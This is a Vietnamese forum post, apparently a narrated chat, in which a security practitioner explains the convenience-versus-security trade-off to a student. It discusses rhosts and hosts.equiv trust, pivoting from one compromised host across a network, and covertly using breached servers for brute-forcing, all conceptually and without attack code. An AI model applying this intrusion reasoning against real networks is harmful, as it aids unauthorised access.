&lt;br /&gt;&lt;span class="postbody"&gt;Sau một hồi truy lùng, em đã biết được  tên thật của anh. Thật không ngờ em biết anh đã lâu, từ một nơi khác nhưng không  biết anh... chính là anh. Em đã có lúc ngờ ngợ vì cách nói chuyện của anh nhưng  không tiện hỏi. Và thế là sau một cuộc dò xét, em đã biết chắc anh chính là  người em đã biết và từng trao đổi (không trực tiếp mà chỉ trên một diễn đàn nọ)  từ mấy năm trước. Cho em xin lỗi nếu như anh cảm thấy khó chịu khi danh tánh của  anh bị em khám phá nha? :) Em không có ý gì hết, em chỉ muốn tìm hiểu người mình  đang trao đổi. Lý do rất đơn giản là em không hiểu tại sao anh có thể khiến em  phải suy nghĩ rất nhiều với những điều mấy anh em mình trao đổi. Cho nên, em mới  tò mò tìm hiểu xem thực sự anh là ai. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Tuần  này anh có rảnh không? Khi nào rảnh, anh cho em biết với. Em rất muốn nói chuyện  với anh. Em có một số thắc mắc muốn anh giải toả dùm em. Em muốn hỏi những vấn  đề thuộc về kỹ năng phân tích. Mấy cái mail với offline message bị tản mạn quá,  nếu nói chuyện được thì liền lạc hơn. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Mong  anh sớm hồi âm. Chúc anh một ngày làm việc vui vẻ." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi tự hỏi không biết 'docco' Duy là ai mà bí hiểm thế. Tôi  trả lời mail cho 'docco' như sau:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Duy  thân mến, &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Thứ Năm tuần này anh có ngày nghỉ bù.  Buổi sáng anh rảnh nhưng lúc đó chắc em chưa ngủ dậy. Buổi trưa thì anh phải đi  ít công chuyện. Buổi chiều chắc anh rảnh được 1, 2 tiếng. Nếu thấy tiện, cho anh  biết để anh online nha? Nhớ rủ luôn hai đứa Hưng, Khoa nếu tụi nó rảnh. Còn  chuyện danh tánh... hì hì, sao mày lắm chuyện vậy em? :) &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Thân." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Chẳng mấy chốc, tôi  nhận được hồi âm của 'docco'. Cu cậu sẽ online chiều thứ Năm.&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Như đã hẹn, tôi làm một ly cà fê và logon  YIM vào chiều thứ Năm. 'docco' đã có mặt sẵn nhưng chẳng thấy tăm hơi hai trự  Hưng và Khoa đâu cả. Tôi gởi 'docco' một thông điệp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chào Duy, em vào lâu chưa? Còn hai đứa kia đâu?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' trả lời ngay:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ, em vào cũng gần một tiếng rồi anh à. Nãy  giờ em ngồi lướt web, đọc lăng nhăng mấy bản tin vậy mà. Còn thằng Hưng thì đi  Long Hải chơi rồi. Nó nhắn em nó xin lỗi vì không vào được bởi vì bị kẹt 'sô'  với gia đình nhưng em nghi nó dẫn con bồ đi Long Hải chơi chớ chẳng gia đình gì  đâu, hi hi. Còn thằng Khoa thì hôm nay kẹt đám giỗ gì đó anh, nó không online  được." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ừa, 'cuti' nhà mình đi chơi với bồ thì đó là 'đại sự' cho nó đó  em, nó đã muốn dấu mà còn 'khai' với anh làm chi?. Còn trự Khoa bận gia đình thì  lần khác cũng được. Thôi thì anh em mình nói chuyện lai rai cũng được."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' phản đối:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Sao lại lai rai anh? Em có những thắc mắc toàn là... gay cấn  không đó. Vậy anh thích nói chuyện lai rai hay anh thích nói chuyện kỹ thuật?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, lai rai kỹ thuật được hông?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ được chớ  anh. Miễn có kỹ thuật là đã rồi :)." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi  đà khía:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hèm... em có vẻ khoái kỹ thuật lắm  hả? Được rồi, để xem bao lâu em sẽ ngán 'kỹ thuật' lên tới cổ ;-)."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' vẫn một mực:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ chắc em chẳng khi nào ngán kỹ thuật tới cổ đâu anh. Chừng nào  em ngán thì anh thấy em biến mất tăm liền. Bây giờ em muốn hỏi anh câu này:  công tác của người làm bảo mật là tạo nên sự cân bằng giữa tiện dụng và bảo  mật. Trong khi đó, vai trò của kẻ tấn công là tìm ra những điểm yếu của sự thiếu  cân bằng giữa tiện dụng và bảo mật để thâm nhập. Em hình dung câu này tổng  hợp 'hai mặt của vấn đề'. Tuy nhiên, em chưa thể hình dung ra khi nào là tiện  dụng và khi nào bảo mật. Làm sao kẻ tấn công biết được những điểm tiện dụng của  một hệ thống nào đó mà khai thác? Có lẽ em chưa đọc đủ nhiều để thấy những điểm  này trong sách. Anh phân tích dùm em được không?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em tinh tế  lắm, lôi ra được câu này trong đống chữ mình trao đổi lần trước chứng tỏ em 'rà'  rất kỹ. Anh nghĩ mình nên dành câu này làm câu chót đi. Anh em mình đà khía một  hồi, tự nhiên em không cần hỏi câu này nữa đâu. Anh tin như vậy."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' hồ hởi:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ được mà, nhưng em phải ghi xuống để tí nữa lại hỏi anh câu  này nếu em thấy còn cần phải hỏi. Vậy em muốn hỏi tiếp là thế nào là tiện dụng  và thế nào là bảo mật anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi ngẫm nghĩ  rồi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thế này. Bất cứ một chương trình  nào được tạo ra cũng không ngoài mục đích phục vụ một nhu cầu nào đó. Một chương  trình càng lớn, càng phức tạp thì thường có nhiều chức năng để phục vụ nhiều nhu  cầu, nhiều trường hợp nhưng lại bị vướng vào tình trạng dễ bị lỗi. Ngày trước,  một chương trình viết ra thường cố gắng đạt được mức gọn nhẹ và hiệu xuất bởi vì  khả năng đáp ứng và xử lý của hardware lúc ấy còn hạn chế. Khi hardware càng  ngày càng nâng cao và cải tiến, software càng ngày càng mở rộng chức năng. Đòi  hỏi 'gọn nhẹ' không còn là điểm tối quan trọng nữa mà đòi hỏi 'đa năng' chiếm vị  trí ưu tiên. Tất nhiên ngày nay vẫn có những software được viết với tinh thần  'gọn nhẹ và hiệu xuất nhưng khá hiếm. Vì lẽ tự nhiên, cái gì càng phức tạp càng  dễ gặp phải thiếu sót và thiếu sót dẫn đến lỗi. Ngay cả những software được viết  có rất ít lỗi nhưng vì đòi hỏi 'đă năng' nên tính bảo mật 'bị' nhân nhượng.  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Ví dụ, một software có mười chức năng chẳng  hạn. Không nhất thiết chức năng nào cũng áp đặt tính bảo mật trong đó. Trái lại,  tính tiện dụng thường chiếm ưu tiên. Ngoại trừ những software chuyên cho bảo mật  thì không kể (nhưng vẫn có ít nhiều tính năng tiện dụng, không thì không đáp ứng  được nhu cầu... lười của con người ;-)). Lần trước mấy anh em mình bàn về SSH,  em cũng thấy rằng tập tin cấu hình của ssh (sshd_config) có vài tá giá trị chọn  lựa. Hơn một nửa là để phục vụ tính tiện dụng, phần còn lại chuyên chú về bảo  mật. Nếu áp đặt quá nặng bảo mật thì người dùng sẽ gặp khó khăn, nếu thả lỏng để  tiện dụng thì làm mất đi tính bảo mật. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Vậy,  tiện dụng là gì? là những tính năng giúp cho việc sử dụng dễ dàng, đỡ mất công  và nhanh chóng. Bảo mật là gì? là những tính năng 'làm khó', làm cản trở sự thâm  nhập. Những cái 'làm khó' này dẫn đến sự mất tiện dụng cho người dùng bình  thường." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' tiếp tục 'khai  thác':&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh có thể chứng minh những điểm  'tiện dụng' và 'bảo mật' trong một hồ sơ cấu hình được không anh? sshd_config  chẳng hạn? Thú thật là em chưa đọc kỹ và thử nghiệm hết những thứ có trong  sshd_config nhưng nếu anh cho em vài ví dụ thì quá hay." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chừng nào  em còn chưa đọc kỹ và tự thử nghiệm thì chừng đó em chỉ dừng lại ở những điểm  em... đọc chưa kỹ và chưa thử nghiệm mà thôi. Anh có thể cho em một ví dụ trong  tập tin cấu hình sshd_config nhưng để thật sự nắm bắt sshd_config, em phải tự  tay 'táy máy' thôi. Lý do? mỗi giá trị cấu hình (của bất cứ dịch vụ nào) đều có  những giềng mối, những liên quan sâu xa đến hệ điều hành nó đang chạy và chỉ có  tận tay thực hành thì mới thấy rõ được. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Hãy  thử xét giá trị RhostsAuthentication yes chẳng hạn. Nếu em đọc kỹ  man của sshd, em sẽ thấy giá trị RhostsAuthentication này dùng để  cho phép người dùng xác thực danh tánh của mình dựa trên hai giá trị: tên của  máy và tên người dùng. Giá trị RhostsAuthentication yes trực tiếp liên hệ  với hai giá trị khác: StrictModes và IgnoreRhosts. Nếu tên của máy  (ở xa) cũng như tên người dùng của máy này đã được ssh server 'tin' (trusted)  thì người dùng ấy chỉ cần gõ: &lt;/span&gt;
&lt;br /&gt;&lt;span class="quotetxt"&gt;Code:&lt;/span&gt;&lt;span class="postbody"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;&lt;span style=""&gt; &lt;/span&gt;$ ssh myserver&lt;/pre&gt;&lt;pre&gt; &lt;/pre&gt; &lt;p class="MsoNormal"&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Là người ấy có thể đi thẳng vào máy  chủ myserver mà không cần gõ password hay pass-phrase gì cả. Tiện không?  Tiện quá đi chớ. Nhưng bảo mật? chắc chắn là không bảo mật. Đây là điểm tiện  dụng mà nhóm phát triển SSH vẫn giữ lại để đáp ứng nhu cầu của những người quen  dùng series r trên *nix. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Có những  system admin mỗi ngày phải login, logout hàng chục hoặc hàng trăm servers và  phải gõ tên + password như vậy thì quá... mệt. Cho nên, đã có những người 'hack'  *nix từ thuở ban đầu để tạo sự tiện dụng. Nếu em dùng UNIX nhiều, đặc biệt là  nhánh *bsd, em hẳn quen biết đến series r* như rlogin, rsh,  rcp, rexec... cho phép truy cập và thực thi lệnh từ máy này đến  máy kia mà không cần phải gõ tên người và password. Điều duy nhất system admin  cần điều chỉnh là đưa vào giá trị tên máy (của người muốn truy cập vào server)  vào /etc/hosts.equiv của server là xong. Tất nhiên người ấy phải có tài  khoản trên myserver (được làm ví dụ ở đây)." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' reo lên:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chà,  tiện quá vậy anh? Em không ngờ *nix có nhiều cái hay ghê. Nhưng dùng cách trên  em thấy cũng an toàn mà anh? Nếu kẻ muốn thâm nhập thử dùng tên account không có  trên myserver kia thì cũng chẳng làm gì được phải không anh?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Tất nhiên là không rồi. Nhưng em thử nghĩ thêm một chút xem, nếu  kẻ tấn công dùng account có tên là a và vào không được, liệu hắn ta có  thử dùng account có tên là b để thử tiếp không? :). Đó là chưa kể đến  những phương tiện và kỹ thuật có thể enumerate ra tên người dùng của các tài  khoản hiện hữu trên hệ thống." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco'  trầm ngâm:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dám lắm chớ. Gặp em thì em cũng  thử b sau khi thử a liền. Nhưng làm cách này mất công quá anh? Và  nếu kẻ tấn công đi từ bên ngoài vào, làm sao tên máy của hắn có trên máy chủ  myserver mà thử anh? Dẫu hắn có dùng đúng account có thật đi chăng nữa  cũng vô ích thôi. Em nghĩ vậy không biết có đúng không?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' thật tinh tế! Tôi cười đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em nghĩ hoàn toàn đúng trong khuôn khổ 'thâm nhập điểm thứ nhất  của hệ thống' nhưng chưa đủ sâu trong khuôn khổ 'từ điểm thứ nhất của hệ thống  đến trọn bộ hệ thống'." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' ngỡ  ngàng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ui.... là sao hở anh?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi tiếp tục trả lời:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Bảo mật cho một hệ thống (mạng) không dừng lại  chỉ một máy mà bảo mật phải cho tất cả các máy của hệ thống. Nếu một  trong những máy của hệ thống bị nhân nhượng (vì lý do nào đó) và nếu chế độ truy  cập từ máy này sang máy kia của hệ thống dựa trên tinh thần 'trust' một cách  'tiện dụng' theo kiểu dùng /etc/hosts.equiv ở trên thì trọn bộ hệ  thống bị sụp đổ nhanh chóng sau khi máy &lt;u&gt;thứ nhất&lt;/u&gt; bị nhân nhượng. Ở đây  anh muốn nhấn mạnh cái tác hại của dạng thiết kế thiếu cân bằng giữa tiện dụng  và bảo mật. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Sự cân bằng giữa 'tiện dụng' và  'bảo mật' nằm ở chỗ: những gì không cần tiện dụng, không nên làm cho nó tiện  dụng; những gì nên bảo mật, không nên làm cho nó tiện dụng. Nhu cầu tiện dụng  phải có giới hạn nhất định và giới hạn này được đánh giá dựa trên cái nhìn bảo  mật chớ không phải dựa trên cái nhìn tiện dụng." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' vẫn thắc mắc:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nhưng em thấy rằng các máy chủ chính nó thường bị thâm nhập chớ  em chưa từng nghe thấy trường hợp một máy trong nội mạng và các máy khác bị thâm  nhập theo bao giờ. Trường hợp này là sao anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi giải thích:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"À, anh  biết em thắc mắc vì em nghĩ rằng (hoặc nghe thấy) những vụ 'deface' hay thâm  nhập xảy ra thường chuyên chú vào một web server nào đó và khi một thông điệp  hiện lên trên trang chủ, đại loại như &lt;i&gt;defaced by docco&lt;/i&gt; thì... xong  chuyện. Tính về độ 'tàn phá' thì làm như thế chỉ xước nhẹ trên bề mặt, hay thuật  ngữ tiếng Anh còn gọi là 'scratch the surface'. Khổ chủ chỉ bị 'mất mặt' vì  website của mình bị ai đó thay đổi nội dung. So what? một ngày, hai ngày, ba  ngày hay một tháng thì chẳng ai còn nhớ đến biến cố bị deface này nữa. Chẳng  những thế, nếu họ bị 'deface' một lần thì cơ hội bị 'deface' lần kế tiếp rất  thấp vì họ sẽ kiện toàn. Ngoại trừ website này là một website chẳng ai thèm  viếng, chẳng ai buồn lo cho sự tồn tại của nó hoặc khổ chủ không có điều kiện,  phương tiện để kiện toàn nó. Nếu thế thì còn gì lý thú để mà thâm nhập lần nữa?  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Mức độ nguy hiểm thực sự khi một máy chủ bị  thâm nhập nhưng chẳng ai biết, kể cả khổ chủ. Ngay cả máy chủ này chẳng có thông  tin gì lý thú, kẻ tấn công thuộc dạng 'nguy hiểm' thường để dành nó cho những  việc khác. Ví dụ, dùng máy chủ này làm bàn đạp để thâm nhập những máy chủ khác,  dùng máy chủ này để biến nó thành zombie để tấn công những mục tiêu khác hoặc  ngay cả dùng nó để làm tài nguyên cho những công việc như biên dịch, brute force  password, chứa dữ liệu.... Anh thấy những trò dán bảng hiệu 'defaced by someone'  khá là con nít và vô ích nếu xét trên phương diện thâm nhập một cách nghiêm túc.  Nếu cả một hệ thống đều bị nhận nhượng ở tình trạng 'yên ắng' thế này thì độ  nguy hiểm hẳn phải ghê gớm hơn nhiều." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' reo lên thích thú:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ái chà, em chưa bao giờ nghĩ đến hoặc nghe đến việc 'hack' một  máy chủ và dùng nó cho mục đích riêng của mình như để biên dịch hay để brute  force password bao giờ. Quả là thâm, quả là thâm. Anh chỉ đường cho hươu chạy  rồi đó nhe? Vậy anh có áp dụng chuyện này cho mục đích riêng của anh không? Em  đoán chắc là có :)" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em lại dùng chữ 'hack' sai nữa rồi. Không em,  em đoán sai rồi. Anh may mắn được làm việc trong những môi trường có CPU, có tài  nguyên để đáp ứng nhu cầu mình cần. Nếu cần brute force, anh có thể dùng vài cái  mid-range servers để thực hiện, anh không cần phải mất thời gian để thâm nhập  một server nào đó rồi 'chôm' một ít CPU. Ngay cả nếu như anh không được điều  kiện thuận lợi để dùng các máy thứ dữ ở công ty, anh cũng chưa bao giờ có ý định  thâm nhập để 'chôm' CPU bao giờ. Lý do anh biết được điểm lý thú này là vì trước  đây có một khách hàng của anh bị thâm nhập. Máy chủ đó bị 'root-kit' và nó bị  biến thành một máy chuyên để brute force. Tay chủ nhân chỉ thấy máy chủ của mình  có những lúc chạy chậm quá nên nhờ anh điều tra (và bởi thế họ trở thành khách  hàng của anh). Nhờ dịp này anh mới học được kinh nghiệm đó. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Còn chuyện 'chỉ đường cho hươu chạy' thì em đừng lo. Để có thể  thâm nhập một mục tiêu và lẳng lặng biến nó thành nguồn tài nguyên cho mục đích  riêng của mình đòi hỏi phải có kinh nghiệm và khả năng thật sự. Những người chỉ  biết thao tác mấy thứ sql injection hay xss từ những tài liệu có sẵn trên tầng  web thì không có cách gì thực hiện ý định ở mức độ anh nêu ra ở đây đâu. Em đừng  lo. Anh đề cập chuyện này ở đây theo tinh thần là: có nhiều cấp độ thâm nhập và  nhiều cấp độ sử dụng kết quả đạt được mà thôi." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' trầm ngâm hồi lâu rồi cảm thán:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chà, hình như anh em mình bắt đầu đi vào cõi thâm u rồi đây. Thú  thật em hơi bị lùng bùng rồi đó. Vậy còn chuyện 'trust' anh đề cập ở đây có  giống như kiểu 'trusted domains' trên Windows không anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, em không  dằn được ý muốn phải dùng Windows để so sánh hả? :) Chuyện 'trust' ở đây, về mặt  khái niệm thì nó tương tự như 'trusted domains' trên Windows nhưng cơ chế thì  khác. 'trust' ở đây là sự tin tưởng được thiết lập dựa trên một số dữ  kiện nào đó. Trong trường hợp /etc/hosts.equiv mình bàn ở đây, miễn sao  trong hồ sơ cấu hình này có giá trị tên máy thì máy đó được quyền truy cập vào  máy chủ mà không cần phải cung cấp thêm thông tin nào khác. Mức độ 'trust' ở đây  giới hạn giữa máy trạm và máy chủ nào có giá trị tên máy trạm trong  /etc/hosts.equiv mà thôi. Nó không mở rộng ra ở biên độ trọn bộ một (hoặc  nhiều) 'forest' như trên Windows. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Nói về mặt  tinh thần, 'trust' bằng rhost và /etc/hosts.equiv trên *nix và  trusted forest trên Windows có cùng mục đích: tiện dụng. Tính tiện dụng ở đây  lấn át tính bảo mật và đây là chuyện một chuyên viên bảo mật phải cân bằng."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' than vãn:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Có quá nhiều khái niệm mới mẻ em cần phải nắm bắt :(. Càng đi  vào sâu, em càng thấy rối rắm đó anh." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười thông cảm và đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Có lẽ em chưa quen với những khái niệm này thôi. Em chỉ cần nắm  một điểm cốt lõi: tiện dụng cho người dùng hợp lệ thì cũng tiện dụng cho người  dùng bất hợp lệ --&gt; kém bảo mật. Nói một cách khác, tiện dụng tỷ lệ  nghịch với bảo mật. Người bảo mật phải biết dừng lại ở đâu khi cung cấp tính  'tiện dụng' cho người dùng. Kẻ tấn công phải biết suy xét từ thông tin thu thập  được sau khi 'khảo sát' một hệ thống để đánh giá mức độ 'tiện dụng' đang được  dùng trên hệ thống và rồi hình thành kế hoạch thâm nhập. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Nếu người làm bảo mật có cái nhìn vững vàng về bảo mật thì anh ta  sẽ thiết kế hệ thống có những điểm tiện dụng nhưng phải cân bằng với bảo mật.  Nếu kẻ tấn công có cái nhìn vững vàng về thâm nhập, hiểu rõ về hệ thống thì hắn  ta sẽ có khả năng xác định được hệ thống này được đặt trên tiêu chỉ 'bảo mật'  hay tiêu chỉ 'tiện dụng'. Nói cho cùng, nhu cầu cụ thể phải được xác định  rõ ràng và cụ thể ngay từ đầu rồi mới hình thành được mức độ tiện dụng và bảo  mật. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' đào xới:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nói vậy, nhìn từ phương diện 'kẻ tấn công',  tính 'tiện dụng' được khám phá và thẩm định thế nào để có thể tấn công vậy anh?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Xét về mặt tâm lý, khi thử nghiệm và dò xét một hệ thống, nếu em  phát hiện ra một lỗi nhỏ nào đó --&gt; chưa hẳn là admin của hệ thống này kém  cỏi, lười biếng hay chọn nguyên tắc 'tiện dụng'. Tuy nhiên, nếu em phát hiện ra  nhiều sơ sót và những sơ sót này nghiêng hẳn về hướng tiện dụng --&gt;  chắc chắc phần lớn hệ thống thiết kế theo hướng tiện dụng. Kỹ thuật thẩm định  (hay còn gọi là reconnaissance technique) đòi hỏi rất nhiều kinh nghiệm và kiến  thức. Quá trình thẩm định có thể bao gồm một máy chủ cho đến trọn bộ một network  hay nhiều network liên hệ đến mục tiêu. Từ những thông tin lấy được, em có thể  xác định được tỉ lệ 'tiện dụng' so với 'bảo mật' của mục tiêu này và từ đó, một  kế hoạch thâm nhập sẽ được hình thành. Thông tin thu lượm được có xác thực hay  không là tùy vào sự kiên nhẫn và kiến thức của em; đây cũng là chìa khoá của sự  thành công hay thất bại của việc thâm nhập. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Nếu system admin của mục tiêu em muốn thâm nhập có rất ít kinh  nghiệm về bảo mật, không hình thành kế hoạch trước khi thiết lập hệ thống một  cách chi tiết và khoa học, điều này sẽ thể hiện rất rõ trong quá trình em thực  hiện 'reconnaissance'. Đây là lý do có những hệ thống bị nhân nhượng một cách  nhanh chóng và dễ dàng." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' cười một  cách thích thú:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"He he, em thấy những hệ  thống em từng được phép tiếp xúc, chẳng hạn như các hệ thống ở trường em, system  admin chỉ cắm đầu cắm cổ mà cài cài, đặt đặt miễn sao cho nó chạy là mừng rồi.  Hèn chi mà máy chủ ở VN mình bị phá tơi bời. Vậy ý anh là việc chuẩn bị trước  khi thiết lập một hệ thống là điều cần thiết?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp lời 'docco':&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Đúng rồi đó em. IT nói chung và bảo mật nói riêng cũng như bao  nhiêu ngành nghề khác, bước chuẩn bị là bước quan trọng nhất. Muốn kết quả có mỹ  mãn hay không, muốn giảm thiểu tắc trách, muốn loại trừ thiếu sót, muốn không  mất thời gian về sau.... tất cả đều phụ thuộc vào bước chuẩn bị này. Một chuyên  viên có giỏi kỹ thuật đến mấy, có kinh nghiệm làm việc đến cỡ nào mà xông thẳng  vào việc thiết lập, bỏ ngang bước chuẩn bị hoặc xem nhẹ bước chuẩn bị thì không  thể nào có kết quả bằng một chuyên viên khác biết chuẩn bị kỹ lưỡng. Thiết kế  một hệ thống làm việc không những chỉ dừng lại ở sự tiện dụng, sự bảo mật mà còn  liên hệ trực tiếp đến hiệu xuất của hệ thống và khả năng mở rộng của chúng nữa.  Những cái này đi ra từ bước chuẩn bị cả :)." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' reo lên:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ái chà,  anh nói em thấy có hơi hướm của ngành thiết kế phần mềm mà tiếng Anh gọi là  software engineering đó. Phải vậy không anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
